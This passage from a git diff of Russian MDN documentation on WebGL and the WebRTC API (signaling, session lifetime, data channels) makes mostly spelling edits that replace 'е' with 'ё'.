canvas.getContext('webgl'); <dt>{{domxref("WebGLRenderingContext.pixelStorei()")}}</dt> <dd>Определяет режимы хранилища пикселей</dd> <dt>{{domxref("WebGLRenderingContext.polygonOffset()")}}</dt> - <dd>Определяет факторы масштабирования и единицы для расчета значения глубины.</dd> + <dd>Определяет факторы масштабирования и единицы для расчёта значения глубины.</dd> <dt>{{domxref("WebGLRenderingContext.sampleCoverage()")}}</dt> <dd>Определяет составные параметры для сглаживания эффектов.</dd> <dt>{{domxref("WebGLRenderingContext.stencilFunc()")}}</dt> diff --git a/files/ru/web/api/webglrenderingcontext/shadersource/index.html b/files/ru/web/api/webglrenderingcontext/shadersource/index.html index 86ac976ab8..c41d33671f 100644 --- a/files/ru/web/api/webglrenderingcontext/shadersource/index.html +++ b/files/ru/web/api/webglrenderingcontext/shadersource/index.html @@ -56,7 +56,7 @@ var source = gl.getShaderSource(shader);</pre> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> <p>{{Compat("api.WebGLRenderingContext.shaderSource")}}</p> diff --git a/files/ru/web/api/webglrenderingcontext/uniform/index.html b/files/ru/web/api/webglrenderingcontext/uniform/index.html index 91a02ac2b9..d1f8c30223 100644 --- a/files/ru/web/api/webglrenderingcontext/uniform/index.html +++ b/files/ru/web/api/webglrenderingcontext/uniform/index.html @@ -88,7 +88,7 @@ gl.uniform1iv(samplerCubeUniformLoc, [v]); // для samplerCube или масс <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p> <p>{{Compat("api.WebGLRenderingContext.uniform1f")}}</p> diff --git a/files/ru/web/api/webrtc_api/adapter.js/index.html b/files/ru/web/api/webrtc_api/adapter.js/index.html index efe5581fc2..575e045e1f 100644 --- a/files/ru/web/api/webrtc_api/adapter.js/index.html +++ b/files/ru/web/api/webrtc_api/adapter.js/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API/adapter.js --- <p>{{WebRTCSidebar}}</p> -<p>Несмотря на то, что WebRTC <a href="http://www.w3.org/TR/webrtc/">спецификация</a> относительно стабильна, не все еще браузеры полностью реализуют её функциональность. Некоторые реализации в браузерах все еще содержат префиксы производителей в некоторых, или даже всех WebRTC интерфейсах, и разработчик может самостоятельно, в ручную, учесть вопросы несовместимости в своем коде. Но есть более простой выход. Организация <span class="seoSummary">WebRTC</span> <span class="seoSummary"><a href="https://github.com/webrtc/adapter/">предлагает библиотеку adapter.js</a> для обработки вопросов несовместимостей в различных браузерных реализациях WebRTC. Эта библиотека является JavaScript клином, позволяющим писать код в соответствии со спецификацией, чтобы он работал во всех браузерах с различным уровнем поддержки WebRTC. С ней нет необходимости условно использовать префиксные интерфейсы или реализовывать обходные пути</span></p> +<p>Несмотря на то, что WebRTC <a href="http://www.w3.org/TR/webrtc/">спецификация</a> относительно стабильна, не все ещё браузеры полностью реализуют её функциональность. Некоторые реализации в браузерах все ещё содержат префиксы производителей в некоторых, или даже всех WebRTC интерфейсах, и разработчик может самостоятельно, в ручную, учесть вопросы несовместимости в своём коде. Но есть более простой выход. Организация <span class="seoSummary">WebRTC</span> <span class="seoSummary"><a href="https://github.com/webrtc/adapter/">предлагает библиотеку adapter.js</a> для обработки вопросов несовместимостей в различных браузерных реализациях WebRTC. Эта библиотека является JavaScript клином, позволяющим писать код в соответствии со спецификацией, чтобы он работал во всех браузерах с различным уровнем поддержки WebRTC. С ней нет необходимости условно использовать префиксные интерфейсы или реализовывать обходные пути</span></p> <div class="note"> <p><strong>Примечание :</strong> Поскольку функциональность и названия API-терминов в WebRTC и поддерживаемых браузерах постоянно изменяются, обычно рекомендуется использовать этот адаптер.</p> diff --git a/files/ru/web/api/webrtc_api/index.html b/files/ru/web/api/webrtc_api/index.html index 1c3d082d99..e1563f8e4f 100644 --- a/files/ru/web/api/webrtc_api/index.html +++ b/files/ru/web/api/webrtc_api/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API <p><span class="seoSummary"><strong>WebRTC</strong> (Web Real-Time Communications) - это технология, которая позволяет Web-приложениям и сайтам захватывать и выборочно передавать аудио и/или видео медиа-потоки, а также обмениваться произвольными данными между браузерами, без обязательного использования посредников. Набор стандартов, которые включает в себя технология WebRTC, позволяет обмениваться данными и проводить пиринговые телеконференции, без необходимости пользователю устанавливать плагины или любое другое стороннее программное обеспечение.</span></p> -<p>WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе. Документация, которую вы здесь найдете, поможет вам понять основы WebRTC, как настроить и использовать соединение для передачи данных и медиа-потока, и многое другое.</p> +<p>WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе. Документация, которую вы здесь найдёте, поможет вам понять основы WebRTC, как настроить и использовать соединение для передачи данных и медиа-потока, и многое другое.</p> <h2 id="Совместимость">Совместимость</h2> @@ -39,7 +39,7 @@ translation_of: Web/API/WebRTC_API <dl> <dt>{{domxref("RTCPeerConnection")}}</dt> - <dd>Представляет WebRTC соединение между локальным компьютером и удаленным узлом. Используется для обработки успешной передачи данных между двумя узлами.</dd> + <dd>Представляет WebRTC соединение между локальным компьютером и удалённым узлом. Используется для обработки успешной передачи данных между двумя узлами.</dd> <dt>{{domxref("RTCSessionDescription")}}</dt> <dd>Представляет параметры сессии. Каждый <code>RTCSessionDescription </code>содержит описания <a href="/en-US/docs/Web/API/RTCSessionDescription/type">типа</a>, показывающего какую часть (предложение/ответ) процесса переговоров он описывает, и <a href="/en-US/docs/Glossary/SDP">SDP</a>-дескриптор сессии<code>.</code></dd> <dt>{{domxref("RTCIceCandidate")}}</dt> @@ -47,7 +47,7 @@ translation_of: Web/API/WebRTC_API <dt>{{domxref("RTCIceTransport")}}</dt> <dd>Представляет информацию о средстве подключения к Интернету (ICE).</dd> <dt>{{domxref("RTCPeerConnectionIceEvent")}}</dt> - <dd>Представляет события, которые происходят в отношении кандидатов ICE, обычно {{domxref ("RTCPeerConnection")}}. Один тип передается данному объекту события: {{event ("icecandidate")}}.</dd> + <dd>Представляет события, которые происходят в отношении кандидатов ICE, обычно {{domxref ("RTCPeerConnection")}}. Один тип передаётся данному объекту события: {{event ("icecandidate")}}.</dd> <dt>{{domxref("RTCRtpSender")}}</dt> <dd>Управляет кодированием и передачей данных через объект типа {{domxref("MediaStreamTrack")}} для объекта типа {{domxref("RTCPeerConnection")}}.</dd> <dt>{{domxref("RTCRtpReceiver")}}</dt> @@ -59,7 +59,7 @@ translation_of: Web/API/WebRTC_API <dt>{{domxref("RTCDataChannel")}}</dt> <dd>Представляет двунаправленный канал данных между двумя узлами соединения.</dd> <dt>{{domxref("RTCDataChannelEvent")}}</dt> - <dd>Представляет события, которые возникают при присоединении объекта типа {{domxref("RTCDataChannel")}} к объекту типа {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("datachannel")}}.</dd> + <dd>Представляет события, которые возникают при присоединении объекта типа {{domxref("RTCDataChannel")}} к объекту типа {{domxref("RTCPeerConnection")}}. Один тип передаётся этому событию {{event("datachannel")}}.</dd> <dt>{{domxref("RTCDTMFSender")}}</dt> <dd>Управляет кодированием и передачей двухтональной мультичастотной (DTMF) сигнализацией для объекта типа {{domxref("RTCPeerConnection")}}.</dd> <dt>{{domxref("RTCDTMFToneChangeEvent")}}</dt> @@ -71,9 +71,9 @@ translation_of: Web/API/WebRTC_API <dt>{{domxref("RTCIdentityProvider")}}</dt> <dd>Активирует возможность браузеру запросить создание или проверку объявления идентификации.</dd> <dt>{{domxref("RTCIdentityAssertion")}}</dt> - <dd>Представляет идентификатор удаленного узла текущего соединения. Если узел еще не установлен и подтвержден, ссылка на интерфейс вернет <code>null</code>. После установки не изменяется.</dd> + <dd>Представляет идентификатор удалённого узла текущего соединения. Если узел ещё не установлен и подтверждён, ссылка на интерфейс вернёт <code>null</code>. После установки не изменяется.</dd> <dt>{{domxref("RTCIdentityEvent")}}</dt> - <dd>Представляет объект события объявление идентификатора провайдером идентификации (idP). Событие объекта типа {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("identityresult")}}.</dd> + <dd>Представляет объект события объявление идентификатора провайдером идентификации (idP). Событие объекта типа {{domxref("RTCPeerConnection")}}. Один тип передаётся этому событию {{event("identityresult")}}.</dd> <dt>{{domxref("RTCIdentityErrorEvent")}}</dt> <dd>Представляет объект события ошибки, связанной с провайдером идентификации (idP). Событие объекта типа {{domxref("RTCPeerConnection")}}. Два типа ошибки передаются этому событию : {{event("idpassertionerror")}} и {{event("idpvalidationerror")}}.</dd> </dl> @@ -84,11 +84,11 @@ translation_of: Web/API/WebRTC_API <dt><a href="/en-US/docs/Web/API/WebRTC_API/Architecture">Обзор архитектуры WebRTC</a></dt> <dd>Под API, который применяют разработчики, чтобы создавать и использовать WebRTC, расположен набор сетевых протоколов и стандартов соединения. Этот обзор - витрина этих стандартов.</dd> <dt><a href="https://developer.mozilla.org/ru/docs/Web/API/WebRTC_API/Session_lifetime">Жизнь WebRTC-сессии</a></dt> - <dd>WebRTC позволяет вам организовать соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию в браузере. В этой статье мы взглянем на жизнь WebRTC-сессии, начиная с установки соединения и пройдем весь путь до его завершения, когда оно больше не нужно.</dd> + <dd>WebRTC позволяет вам организовать соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию в браузере. В этой статье мы взглянем на жизнь WebRTC-сессии, начиная с установки соединения и пройдём весь путь до его завершения, когда оно больше не нужно.</dd> <dt><a href="/en-US/docs/Web/API/WebRTC_API/Overview">Обзор WebRTC API</a></dt> <dd>WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе, чтобы обеспечить поддержку обмена данными и медиа-потоками между двумя и более узлами. В этой статье представлен краткий обзор каждого из этих API и какую цель он преследует.</dd> <dt><a href="/en-US/docs/Web/API/WebRTC_API/WebRTC_basics">Основы WebRTC</a></dt> - <dd>Эта статья проведет вас через создание кросс-браузерного RTC-приложения. К концу этой статьи вы должны иметь работающий дата- и медиа-канал, работающий в режиме точка-точка.</dd> + <dd>Эта статья проведёт вас через создание кросс-браузерного RTC-приложения. К концу этой статьи вы должны иметь работающий дата- и медиа-канал, работающий в режиме точка-точка.</dd> <dt><a href="/en-US/docs/Web/API/WebRTC_API/Protocols">Протоколы WebRTC</a></dt> <dd>В этой статье представлены протоколы, в дополнение к которым создан API WebRTC.</dd> </dl> @@ -113,7 +113,7 @@ translation_of: Web/API/WebRTC_API <dt><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">Простой пример канала данных RTCDataChannel</a></dt> <dd>Интерфейс {{domxref("RTCDataChannel")}} - это функциональность, которая позволяет открыть канал передачи данных между двумя узлами, по которому можно предавать произвольные данные. Эти API намеренно подобны <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, так, что бы в обоих могла использоваться единая модель программирования.</dd> <dt><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Сигнализация и двухсторонние видео вызовы</a></dt> - <dd>Например, мы берем чат на веб сокете, который мы создали в другом примере, и добавляем в него способность создавать видео вызовы. Сервер чата расширяется функциональностью обработки WebRTC сигнализации.</dd> + <dd>Например, мы берём чат на веб сокете, который мы создали в другом примере, и добавляем в него способность создавать видео вызовы. Сервер чата расширяется функциональностью обработки WebRTC сигнализации.</dd> </dl> <h2 id="Ресурсы_2"><a id="Ресурсы" name="Ресурсы">Ресурсы</a></h2> diff --git a/files/ru/web/api/webrtc_api/session_lifetime/index.html b/files/ru/web/api/webrtc_api/session_lifetime/index.html index 0b052b5475..adf957e2fd 100644 --- a/files/ru/web/api/webrtc_api/session_lifetime/index.html +++ b/files/ru/web/api/webrtc_api/session_lifetime/index.html @@ -7,11 +7,11 @@ translation_of: Web/API/WebRTC_API/Session_lifetime <div class="summary"> <dl> - <dd>WebRTC позволяет браузерным приложениям построить соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию. В этой статье мы увидим то, как живет WebRTC-сессия, начиная с установки соединения и пройдём через весь путь до его завершения, если соединение больше не нужно.</dd> + <dd>WebRTC позволяет браузерным приложениям построить соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию. В этой статье мы увидим то, как живёт WebRTC-сессия, начиная с установки соединения и пройдём через весь путь до его завершения, если соединение больше не нужно.</dd> </dl> </div> -<p>Эта статья не вдается в детали фактически использованных API в установке и обработке WebRTC-соединения. Это просто обзор процесса в целом с некоторой информацией о том, для чего нужен каждый шаг. Смотрите статью <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>, чтобы получить пример с пошаговым объяснением того, что делает код.</p> +<p>Эта статья не вдаётся в детали фактически использованных API в установке и обработке WebRTC-соединения. Это просто обзор процесса в целом с некоторой информацией о том, для чего нужен каждый шаг. Смотрите статью <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>, чтобы получить пример с пошаговым объяснением того, что делает код.</p> <div class="note"> <p>Эта страница находится в стадии разработки, и некоторое из содержания будут перемещаться на другие страницы, как направляющий материал. </p> @@ -21,7 +21,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime <h2 id="Установка_соединения">Установка соединения</h2> -<p>Интернет большой. Реально большой. Умные люди, несколько лет назад, заметив то, насколько он велик, каким большим он может стать и то как быстро растёт, а также ограничения 32-битной системы адресации протокола IP, и поняли, что нужно начать что-то делать, чтобы создать новую 64-битную систему адресации. Но в какой-то момент они так же пришли к выводу, что переход на новую систему займёт больше времени, чем продержатся 32-разрядные адреса. Затем другие умные люди придумали способ, позволяющий нескольким компьютерам использовать один и тот же 32-итный IP-адрес. Network Address Translation ({{Glossary("NAT")}}) - это стандарт, который поддерживает разделение адреса путем маршрутизации входящих и исходящих пакетов данных в и из локальной сети (LAN), которые разделяют единственный WAN (глобальный) адрес.</p> +<p>Интернет большой. Реально большой. Умные люди, несколько лет назад, заметив то, насколько он велик, каким большим он может стать и то как быстро растёт, а также ограничения 32-битной системы адресации протокола IP, и поняли, что нужно начать что-то делать, чтобы создать новую 64-битную систему адресации. Но в какой-то момент они так же пришли к выводу, что переход на новую систему займёт больше времени, чем продержатся 32-разрядные адреса. Затем другие умные люди придумали способ, позволяющий нескольким компьютерам использовать один и тот же 32-итный IP-адрес. Network Address Translation ({{Glossary("NAT")}}) - это стандарт, который поддерживает разделение адреса путём маршрутизации входящих и исходящих пакетов данных в и из локальной сети (LAN), которые разделяют единственный WAN (глобальный) адрес.</p> <p>Проблемой для пользователя является то, что каждый отдельный компьютер в сети Интернет не обязан иметь уникальный IP-адрес, и по сути, IP-адрес устройства может измениться не только тогда, когда оно перемещается из одной сети в другую, но и если их сетевой адрес был изменён {{Glossary("NAT")}} и/или {{interwiki("wikipedia", "DHCP")}}. Для разработчиков, пытающихся строить одноранговые сети, эта ситуация является хорошей головоломкой: без уникального идентификатора для каждого устройства, нет возможности моментально автоматически выяснить то, как подключиться к конкретному устройству в Интернет. Если вызнаете, с кем вы хотите поговорить, вам не обязательно знать, какой адрес у вашего собеседника.</p> @@ -31,7 +31,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime <h3 id="Процесс_Сигнализации">Процесс Сигнализации</h3> -<p>Сигнализация - это процесс передачи управляющей информации между двумя устройствами для определения протоколов связи, каналов, кодирования и формата медиа-данных, методов передачи данных, а также информации, необходимой для маршрутизации. Наиболее важная вещь, о которой нужно знать о процессе сигнализации для WebRTC - <strong>этот процесс не определен в спецификации</strong>.</p> +<p>Сигнализация - это процесс передачи управляющей информации между двумя устройствами для определения протоколов связи, каналов, кодирования и формата медиа-данных, методов передачи данных, а также информации, необходимой для маршрутизации. Наиболее важная вещь, о которой нужно знать о процессе сигнализации для WebRTC - <strong>этот процесс не определён в спецификации</strong>.</p> <p>Вы можете задаться вопросом, почему нечто основоположное для процесса установки WebRTC-соединения вынесено из спецификации? Ответ прост: потому как два устройства не могут контактировать друг с другом, и спецификация не может предусмотреть все возможные способы использования WebRTC, также это приобретает ещё больший смысл с точки зрения предоставления разработчику возможности выбора наиболее подходящей сетевой технологии и протоколов передачи сообщений.</p> @@ -58,18 +58,18 @@ translation_of: Web/API/WebRTC_API/Session_lifetime <p>Существует последовательность действий, которую нужно выполнить, чтобы стало возможным начало WebRTC-сессии:</p> <ol> - <li>Каждый узел создает объект {{domxref("RTCPeerConnection")}}, представляющий собой WebRTC-сессию и сохраняющийся до её завершения.</li> + <li>Каждый узел создаёт объект {{domxref("RTCPeerConnection")}}, представляющий собой WebRTC-сессию и сохраняющийся до её завершения.</li> <li>Каждый узел устанавливает обработчик события {{event("icecandidate")}},которая занимается отправкой этих кандидатов в другую сторону по каналу сигнализации.</li> - <li>Каждый узел устанавливает обработчик события {{event("addstream")}}, которое срабатывает когда начинает приходить поток данных от удаленного узла. Этот обработчик должен подключить этот поток к потребителю, например к элементу {{HTMLElement("video")}}.</li> - <li>Вызывающий узел создает уникальный идентификатор, токен или нечто, что сможет идентифицировать вызов на сигнальном сервере, и обмениваться с принимающим узлом. Форма и содержимое идентификатора остается на усмотрение разработчика.</li> + <li>Каждый узел устанавливает обработчик события {{event("addstream")}}, которое срабатывает когда начинает приходить поток данных от удалённого узла. Этот обработчик должен подключить этот поток к потребителю, например к элементу {{HTMLElement("video")}}.</li> + <li>Вызывающий узел создаёт уникальный идентификатор, токен или нечто, что сможет идентифицировать вызов на сигнальном сервере, и обмениваться с принимающим узлом. Форма и содержимое идентификатора остаётся на усмотрение разработчика.</li> <li>Каждый узел подключается к согласованному сигнальному серверу, такому например как известный обоим WebSocket-сервер, для обмена сообщениями.</li> - <li>Каждый узел сообщает сигнальному серверу, что хочет подключиться к одной и той же WebRTC-сессии (идентифицируемой токеном, определенным на шаге 4)</li> + <li>Каждый узел сообщает сигнальному серверу, что хочет подключиться к одной и той же WebRTC-сессии (идентифицируемой токеном, определённым на шаге 4)</li> <li><strong><em>descriptions, candidates, etc. -- more coming up</em></strong></li> </ol> <h2 id="Перезапуск_сессии_ICE_агент"><strong>Перезапуск сессии ICE агент</strong></h2> -<p>Иногда, во время срока службы WebRTC сессии, сетевые условия изменяются. Один из пользователей, возможно, перейдет от сотовой сети к сети WiFi или сеть может стать перегруженной. Например: когда это произойдет, ICE агент может перезапустить сессию. Это процесс, с помощью которого сетевое соединение перезапустится и восстановится, точно таким же образом выполняется начальная установка сессии, за одним исключением того пока не установится новая сессия. Тогда сессия сменяется и переходит к новому сетевому соединению, а старое соединение закрывается.</p> +<p>Иногда, во время срока службы WebRTC сессии, сетевые условия изменяются. Один из пользователей, возможно, перейдёт от сотовой сети к сети WiFi или сеть может стать перегруженной. Например: когда это произойдёт, ICE агент может перезапустить сессию. Это процесс, с помощью которого сетевое соединение перезапустится и восстановится, точно таким же образом выполняется начальная установка сессии, за одним исключением того пока не установится новая сессия. Тогда сессия сменяется и переходит к новому сетевому соединению, а старое соединение закрывается.</p> <div class="note"> <p>Различные браузеры поддерживают перезапуск сессии при разных условиях. Не все браузеры будут выполнять перезапуск сессии из-за перегрузки сети, например:</p> @@ -77,7 +77,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime <p>Есть два уровня перезапуска сессии: полная перезагрузка сессии вызывает все мультимедийные потоки в сеансе и должны быть пересмотрены. Частичная перезагрузка сессии позволяет агенту сессии перезапустить конкретный медиапоток вместо того, чтобы перезапускать все медиаданные. Некоторые браузеры пока не поддерживают частичную перезагрузку сессии, однако. <<< Все зависит от вашего кодерства... >>></p> -<p>Если вам необходимо изменить конфигурацию соединения каким-либо образом (например, изменение к другому набору связи), вы можете сделать это перед <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/setConfiguration" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCPeerConnection.setConfiguration()</a>(перед назначением конфигурации)</code> с обновленной <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCConfiguration" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCConfiguration</a>(конфигурацией)</code> перед повторным запуском движка.</p> +<p>Если вам необходимо изменить конфигурацию соединения каким-либо образом (например, изменение к другому набору связи), вы можете сделать это перед <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/setConfiguration" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCPeerConnection.setConfiguration()</a>(перед назначением конфигурации)</code> с обновлённой <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCConfiguration" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCConfiguration</a>(конфигурацией)</code> перед повторным запуском движка.</p> <p>Чтобы явно вызвать перезапуск сессии, нужно начать переговорный процесс с помощью вызова <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/createOffer" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCPeerConnection.createOffer()</a>,</code> указав параметр iceRestart(перезапуск сессии) со значением истины(true). Затем обработать процесс соединения так, как вы это обычно делаете.</p> diff --git a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html index 844c8e0d19..73db097039 100644 --- a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html +++ b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling --- <div>{{WebRTCSidebar}}</div> -<p><span class="seoSummary"><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> позволяет обмениваться медиаданными между двумя устройствами напрямую (peer-to-peer) в режиме реального времени. Соединение устанавливается путем обнаружения и согласования, называемым <strong>сигнализацией (signaling)</strong>. Эта статья объясняет, как сделать двусторонний видеозвонок.</span></p> +<p><span class="seoSummary"><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> позволяет обмениваться медиаданными между двумя устройствами напрямую (peer-to-peer) в режиме реального времени. Соединение устанавливается путём обнаружения и согласования, называемым <strong>сигнализацией (signaling)</strong>. Эта статья объясняет, как сделать двусторонний видеозвонок.</span></p> -<p><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> это технология прямого обмена аудио-, видео- и другими данными в режиме реального времени с одним ключевым условием. Процесс обнаружения и согласования медиаформатов должен происходить так чтобы два устройства, подключенные к разным сетям, могли локализовать друг друга, <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime#Establishing_a_connection">как обсуждалось здесь</a>. Этот процесс назван <span class="seoSummary"><strong>сигнализацией </strong></span>и подразумевает, что оба устройства подключаются к третьему, обоюдно согласованному серверу. Через третью сторону устройства определяют адреса друг друга и обмениваются согласующими сообщениями.</p> +<p><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> это технология прямого обмена аудио-, видео- и другими данными в режиме реального времени с одним ключевым условием. Процесс обнаружения и согласования медиаформатов должен происходить так чтобы два устройства, подключённые к разным сетям, могли локализовать друг друга, <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime#Establishing_a_connection">как обсуждалось здесь</a>. Этот процесс назван <span class="seoSummary"><strong>сигнализацией </strong></span>и подразумевает, что оба устройства подключаются к третьему, обоюдно согласованному серверу. Через третью сторону устройства определяют адреса друг друга и обмениваются согласующими сообщениями.</p> <p>В этой статье мы будем дорабатывать <a class="external external-icon" href="https://webrtc-from-chat.glitch.me/" rel="noopener">WebSocket-чат</a>, созданный для нашей документации к WebSocket, — добавим к нему двусторонний видеозвонок между двумя пользователями. Вы можете <a href="https://webrtc-from-chat.glitch.me/">использовать этот пример на Glitch</a> или <a href="https://glitch.com/edit/#!/remix/webrtc-from-chat">клонировать его</a>, чтобы поэкспериментировать самим. <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat">Весь проект</a> можно посмотреть на GitHub.</p> @@ -21,13 +21,13 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling <p>Во-первых, нужен сам сервер сигнализации. Спецификация WebRTC не определяет, какой транспорт используется для передачи сигнальной информации. Можете использовать какой вам нравится, от <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket</a> до {{domxref("XMLHttpRequest")}} и почтовых голубей, чтобы передать сигнальную информацию между пирами.</p> -<p>Важно, что серверу не нужно понимать или интерпретировать сигнальные данные. Хотя они в формате {{Glossary("SDP")}}, это не имеет особого значения: содержание сообщений, проходящих через сигнальный сервер - по сути, черный ящик. Значение имеет лишь то, что когда подсистема {{Glossary("ICE")}} дает команду передать данные другому пиру, вы просто это делаете, а уже пир знает, как получить эту информацию и доставить ее на свою подсистему ICE. Все что нужно - передавать сообщения туда и обратно. Содержание совершенно не важно для сигнального сервера.</p> +<p>Важно, что серверу не нужно понимать или интерпретировать сигнальные данные. Хотя они в формате {{Glossary("SDP")}}, это не имеет особого значения: содержание сообщений, проходящих через сигнальный сервер - по сути, чёрный ящик. Значение имеет лишь то, что когда подсистема {{Glossary("ICE")}} даёт команду передать данные другому пиру, вы просто это делаете, а уже пир знает, как получить эту информацию и доставить её на свою подсистему ICE. Все что нужно - передавать сообщения туда и обратно. Содержание совершенно не важно для сигнального сервера.</p> <h3 id="Подготовка_сервера_чата_к_сигнализации">Подготовка сервера чата к сигнализации</h3> -<p>Наш <a href="https://github.com/mdn/samples-server/tree/master/s/websocket-chat">сервер чата</a> использует <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a> для отправки информации как {{Glossary("JSON")}} между каждым клиентом и сервером. Сервер поддерживает несколько типов сообщений для нескольких задач : регистрация нового пользователя, установки имен пользователей, отправка сообщений чата.</p> +<p>Наш <a href="https://github.com/mdn/samples-server/tree/master/s/websocket-chat">сервер чата</a> использует <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a> для отправки информации как {{Glossary("JSON")}} между каждым клиентом и сервером. Сервер поддерживает несколько типов сообщений для нескольких задач : регистрация нового пользователя, установки имён пользователей, отправка сообщений чата.</p> -<p>Для того, что бы сервер мог поддерживать функциональность сигнализации и согласование соединения, нам нужно обновить код. Нам нужно направлять сообщения одному конкретному пользователю вместо того, чтобы транслировать их всем подключенным пользователям, а также обеспечить передачу и доставку неизвестных типов сообщений, при этом серверу не нужно будет знать, что это такое. Это позволит нам посылать сигнальные сообщения, используя один и тот же сервер, вместо того, чтобы использовать отдельный сервер.</p> +<p>Для того, что бы сервер мог поддерживать функциональность сигнализации и согласование соединения, нам нужно обновить код. Нам нужно направлять сообщения одному конкретному пользователю вместо того, чтобы транслировать их всем подключённым пользователям, а также обеспечить передачу и доставку неизвестных типов сообщений, при этом серверу не нужно будет знать, что это такое. Это позволит нам посылать сигнальные сообщения, используя один и тот же сервер, вместо того, чтобы использовать отдельный сервер.</p> <p>Let's take a look which changes we need to make to the chat server support WebRTC signaling. This is in the file <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat/chatserver.js">chatserver.js</a>.</p> diff --git a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html index 4d02e4d5d4..8ed6944d59 100644 --- a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html +++ b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API/Simple_RTCDataChannel_sample <p>Интерфейс {{domxref("RTCDataChannel")}} является функциональностью <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a> , который позволяет открыть канал между узлами соединения, по которому можно отправлять и получать произвольные данные. Эти API намеренно сходны с <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, для использования единой программной модели.</p> -<p>В этом примере мы откроем соединение {{domxref ("RTCDataChannel")}}, связывающее два элемента на одной странице. Хотя это явно надуманный сценарий, он полезен для демонстрации последовательности соединения двух узлов. Мы расскажем о механизме выполнения соединения, передачи и получения данных, но оставим немного информации о поиске и подключении к удаленному компьютеру для другого примера.</p> +<p>В этом примере мы откроем соединение {{domxref ("RTCDataChannel")}}, связывающее два элемента на одной странице. Хотя это явно надуманный сценарий, он полезен для демонстрации последовательности соединения двух узлов. Мы расскажем о механизме выполнения соединения, передачи и получения данных, но оставим немного информации о поиске и подключении к удалённому компьютеру для другого примера.</p> <h2 id="Разметка_HTML">Разметка HTML</h2> diff --git a/files/ru/web/api/webrtc_api/taking_still_photos/index.html b/files/ru/web/api/webrtc_api/taking_still_photos/index.html index a15d916a7e..c690fafe2a 100644 --- a/files/ru/web/api/webrtc_api/taking_still_photos/index.html +++ b/files/ru/web/api/webrtc_api/taking_still_photos/index.html @@ -40,11 +40,11 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos <h2 id="Код_JavaScript">Код JavaScript</h2> -<p>Посмотрим на <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill/capture.js" rel="noopener">JavaScript code</a>. Разобьем его на части, для упрощения объяснения.</p> +<p>Посмотрим на 